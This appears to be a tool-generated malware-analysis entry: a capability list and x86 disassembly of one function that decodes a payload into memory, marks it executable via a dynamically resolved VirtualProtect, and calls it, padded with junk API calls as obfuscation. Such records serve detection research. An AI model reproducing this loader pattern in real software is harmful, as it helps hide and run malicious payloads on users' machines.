Function at 0x401529
Capabilities:
Allocate or change rwx memory
Create directory
Execute shellcode via indirect call
Get disk size
Identify system language via api
Print debug messages
Resolve function by parsing pe exports
Set file attributes
Set thread local storage value

Disassembly:
sub esp, 0x53c
push ebx
push ebp
push esi
xor ebp, ebp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, ebp
push ebp
call edi
cmp esi, 0x207138
jg 0x401551
inc esi
cmp esi, 0x4f672
jl 0x40153d
mov ecx, dword [0x663c28]
cmp ecx, 0x93
je 0x40176b
mov eax, dword [0x4193c0]
add ecx, 0x1134b
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.kernel32.dll
mov dword [0x663c2c], eax
mov dword [0x663c28], ecx
call ebx
push str.VirtualProtect
push eax
mov dword [0x6636b4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x663c28]
mov dword [0x6636a8], eax
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [esp + 0x18]
mov dword [0x6636b0], eax
push ecx
push 0x40
push dword [0x663c28]
push eax
call dword [0x6636a8]
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x4015c7
mov ecx, dword [0x663c28]
mov esi, ebp
test ecx, ecx
je 0x40167e
mov eax, dword [0x663c2c]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x6636b0]
mov byte [eax + esi], cl
mov ecx, dword [0x663c28]
cmp ecx, 0x490
jne 0x401675
push dword [esp + 0x18]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push str.zadaferofuxesiwituxexulata_vuvopa_jigamuwom_logawufadavujoke_lavehepedatewavufapomuxame
lea eax, [esp + 0x14c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebp
push ebp
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebp
push ebp
call dword [sym.imp.GDI32.dll_GetTextMetricsA]
push ebp
call dword [sym.imp.GDI32.dll_DeleteMetaFile]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push ebp
push str.fobomoyewusewemezujiwogove
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push str.ziyaciri_bow
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push str.kituru
call ebx
mov ecx, dword [0x663c28]
inc esi
cmp esi, ecx
jb 0x4015e6
mov esi, ebp
lea eax, [ecx + esi]
cmp eax, 0x8d
jne 0x4016a4
push ebp
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push ebp
push ebp
push str.cupikofaxicusavezetiz
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov ecx, dword [0x663c28]
inc esi
cmp esi, 0x38681
jl 0x401680
push ecx
call fcn.004014bc
mov esi, ebp
push ebp
call edi
cmp esi, 0x62
jne 0x4016c2
call fcn.0040150d
inc esi
cmp esi, 0x674db
jl 0x4016b5
push 0x7b
pop esi
cmp dword [0x663c28], 0x86
jne 0x40174a
xor eax, eax
lea edi, [esp + 0x3a]
mov word [esp + 0x38], ax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [esp + 0x1c], ax
lea edi, [esp + 0x1e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x48]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push ebp
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
dec esi
jne 0x4016ce
push str.msimg32.dll
call ebx
mov eax, dword [0x6636b0]
mov dword [0x663c1c], eax
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x53c
ret
push ebp
push ebp
call dword [sym.imp.USER32.dll_LoadMenuW]
push ebp
call dword [sym.imp.USER32.dll_CloseWindow]
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.USER32.dll_DrawCaption]
push ebp
lea eax, [esp + 0x18]
push eax
push ebp
call dword [sym.imp.USER32.dll_SetUserObjectSecurity]
xor eax, eax
lock bts dword [eax], 0
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push dword [esp + 0x14]
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push ebp
push ebp
call dword [sym.imp.ole32.dll_CoMarshalHresult]
push ebp
lea eax, [esp + 0x78]
push eax
push ebp
push ebp
push str.sirimasimufiruyu
push ebp
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
push ebp
call dword [sym.imp.GDI32.dll_GetPixelFormat]
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.ole32.dll_CoRegisterPSClsid]
push ebp
lea eax, [esp + 0x68]
push eax
push ebp
push ebp
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.ole32.dll_CoGetClassObject]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push ebp
call dword [sym.imp.WINHTTP.dll_WinHttpSetDefaultProxyConfiguration]
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x1c]
push eax
push str.xawusoxijesevagu
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push ebp
push ebp
push ebp
push dword [esp + 0x1c]
push ebp
call dword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
push ebp
call fcn.0040365b
push ebp
call fcn.00403f01
push ebp
call fcn.0040365b
add esp, 0xc
call fcn.00403ca1
int3